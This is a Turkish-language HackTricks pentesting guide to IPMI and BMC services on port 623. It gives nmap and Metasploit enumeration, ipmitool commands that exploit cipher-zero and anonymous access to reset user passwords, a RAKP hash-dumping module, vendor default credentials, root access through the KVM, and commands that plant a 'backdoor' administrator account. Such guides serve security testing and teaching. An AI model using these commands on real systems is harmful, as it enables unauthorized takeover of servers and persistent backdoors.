hacktricks/network-services-pentesting/623-udp-ipmi.md
2024-02-10 18:14:16 +00:00

11 KiB
Raw Blame History

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

IPMI Genel Bakışı

Intelligent Platform Management Interface (IPMI), işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerini sağlar, hatta kapalı veya tepkisiz olduklarında bile ve özellikle şunlar için kullanışlıdır:

  • Ön-İşletim Sistemi (Pre-OS) yapılandırmaları
  • Güç kapalı yönetimi
  • Sistem arızalarından kurtarma

IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleyebilirken, envanter bilgileri sağlayabilir, donanım günlüklerini inceleyebilir ve SNMP aracılığıyla uyarılar gönderebilir. İşletimi için bir güç kaynağı ve bir LAN bağlantısı gereklidir.

Intel tarafından 1998 yılında tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmiş ve özellikle 2.0 sürümünün seri üzerinden LAN desteği ile uzaktan yönetim yeteneklerini geliştirmiştir. Ana bileşenler şunları içerir:

  • Baseboard Management Controller (BMC): IPMI işlemleri için ana mikrodenetleyici.
  • İletişim Veriyolları ve Arayüzler: Dahili ve harici iletişim için, ICMB, IPMB ve yerel ve ağ bağlantıları için çeşitli arayüzler dahil.
  • IPMI Belleği: Günlüklerin ve verilerin depolanması için.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Varsayılan Port: 623/UDP/TCP (Genellikle UDP üzerinde çalışır, ancak TCP üzerinde çalışabilir)

Enumerasyon

Keşif

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Sürümü belirlemek için şunları yapabilirsiniz:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Zafiyetleri

IPMI 2.0 dünyasında, Dan Farmer tarafından keşfedilen önemli bir güvenlik açığı, şifre türü 0 üzerinden ortaya çıkarıldı. Bu zafiyet, Dan Farmer'ın araştırmasında detaylı olarak belgelenmiştir ve geçerli bir kullanıcı hedef alındığında herhangi bir şifre ile yetkisiz erişime izin verir. Bu zayıflık, HP, Dell ve Supermicro gibi üreticilerin çeşitli BMC'lerinde bulunmuş ve tüm IPMI 2.0 uygulamalarında yaygın bir soruna işaret etmiştir.

Şifre 0 Aracılığıyla IPMI Kimlik Doğrulama Atlama

Bu zafiyeti tespit etmek için aşağıdaki Metasploit yardımcı tarama aracı kullanılabilir:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Bu açığın istismarı, aşağıda gösterildiği gibi ipmitool ile gerçekleştirilebilir ve kullanıcı şifrelerinin listelenmesine ve değiştirilmesine olanak tanır:

$ ipmitool -I lanplus -H <target_IP> -U <username> -P <password> user list
$ ipmitool -I lanplus -H <target_IP> -U <username> -P <password> user set password <user_ID> <new_password>

Bu komutlar, hedef IP adresine sahip bir sunucuda belirli bir kullanıcının şifresini listelemek ve değiştirmek için kullanılır.

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Kimlik Doğrulama Uzaktan Parola Hash Alımı

Bu zafiyet, herhangi bir mevcut kullanıcı adı için tuzlanmış karmaşık parolaların (MD5 ve SHA1) alınmasını sağlar. Bu zafiyeti test etmek için Metasploit bir modül sunar:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Anonim Kimlik Doğrulama

Birçok BMC'de varsayılan yapılandırma, boş kullanıcı adı ve şifre dizeleriyle karakterize edilen "anonim" erişime izin verir. Bu yapılandırma, ipmitool kullanarak adlandırılmış kullanıcı hesaplarının şifrelerini sıfırlamak için istismar edilebilir:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Açık Metin Şifreleri

IPMI 2.0'deki kritik bir tasarım seçimi, kimlik doğrulama amaçları için BMC'lerde açık metin şifrelerin depolanmasını gerektirir. Supermicro'nun bu şifreleri /nv/PSBlock veya /nv/PSStore gibi konumlarda depolaması ciddi güvenlik endişelerine neden olur:

cat /nv/PSBlock

Supermicro IPMI UPnP Zafiyeti

Supermicro'nun IPMI firmware'inde UPnP SSDP dinleyicisinin bulunması, özellikle UDP portu 1900 üzerinde, ciddi bir güvenlik riski oluşturur. Intel SDK for UPnP Devices sürüm 1.3.1'deki zafiyetler, Rapid7'nin açıklamasında detaylı olarak belirtilmiştir ve BMC'ye kök erişim sağlar.

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP, Integrated Lights Out (iLO) ürününde üretim sırasında varsayılan şifreyi rastgeleleştirir. Bu uygulama, diğer üreticilerin aksine, genellikle sabit varsayılan kimlik bilgileri kullanır. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerinin özeti aşağıda verilmiştir:

  • HP Integrated Lights Out (iLO), varsayılan şifre olarak fabrika tarafından rastgeleleştirilmiş 8 karakterlik bir dize kullanır ve daha yüksek bir güvenlik seviyesini sergiler.
  • Dell'in iDRAC, IBM'in IMM ve Fujitsu'nun Integrated Remote Management Controller gibi ürünler, sırasıyla "calvin", "PASSW0RD" (sıfır ile), ve "admin" gibi kolay tahmin edilebilir şifreler kullanır.
  • Benzer şekilde, Supermicro IPMI (2.0), Oracle/Sun ILOM ve ASUS iKVM BMC de "ADMIN", "changeme" ve "admin" gibi basit varsayılan kimlik bilgilerini kullanır.

BMC Aracılığıyla Ana Bilgisayara Erişim

Ana kart Yönetim Denetleyicisi'nin (BMC) yönetici erişimi, ana bilgisayarın işletim sistemine erişmek için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini sömürmektir. Bunun için ya ana bilgisayarı GRUB üzerinden (init=/bin/sh kullanarak) bir kök kabuğuna yeniden başlatmak ya da kurtarma diski olarak ayarlanmış bir sanal CD-ROM'dan başlatmak yeterlidir. Bu yöntemler, ana bilgisayarın diskinin doğrudan manipülasyonunu, arka kapıların eklenmesini, veri çıkarılmasını veya güvenlik değerlendirmesi için gereken herhangi bir işlemi mümkün kılar. Ancak, bu, ana bilgisayarı yeniden başlatmayı gerektirir ve bu önemli bir dezavantajdır. Yeniden başlatma olmadan, çalışan ana bilgisayara erişmek daha karmaşık ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Eğer ana bilgisayarın fiziksel veya seri konsolu oturum açık kalıyorsa, BMC'nin KVM veya seri üzerinden ağ (sol) işlevselliği aracılığıyla kolayca ele geçirilebilir. i2c veri yolu ve Super I/O çipi gibi paylaşılan donanım kaynaklarının sömürülmesi, daha fazla araştırma gerektiren bir alandır.

Ana Bilgisayardan BMC'ye Arka Kapı Eklemek

Bir BMC ile donatılmış bir ana bilgisayarı ele geçirdikten sonra, yerel BMC arayüzü kullanılarak bir arka kapı kullanıcı hesabı eklemek ve sunucuda kalıcı bir varlık oluşturmak mümkündür. Bu saldırı, ele geçirilen ana bilgisayarda ipmitool'un bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, bir yeni kullanıcı hesabının, kimlik doğrulaması gerektirmeyen yerel arayüzü kullanarak BMC'ye nasıl enjekte edileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS gibi geniş bir işletim sistemleri yelpazesinde uygulanabilir.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Referanslar

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!

HackTricks'ı desteklemenin diğer yolları: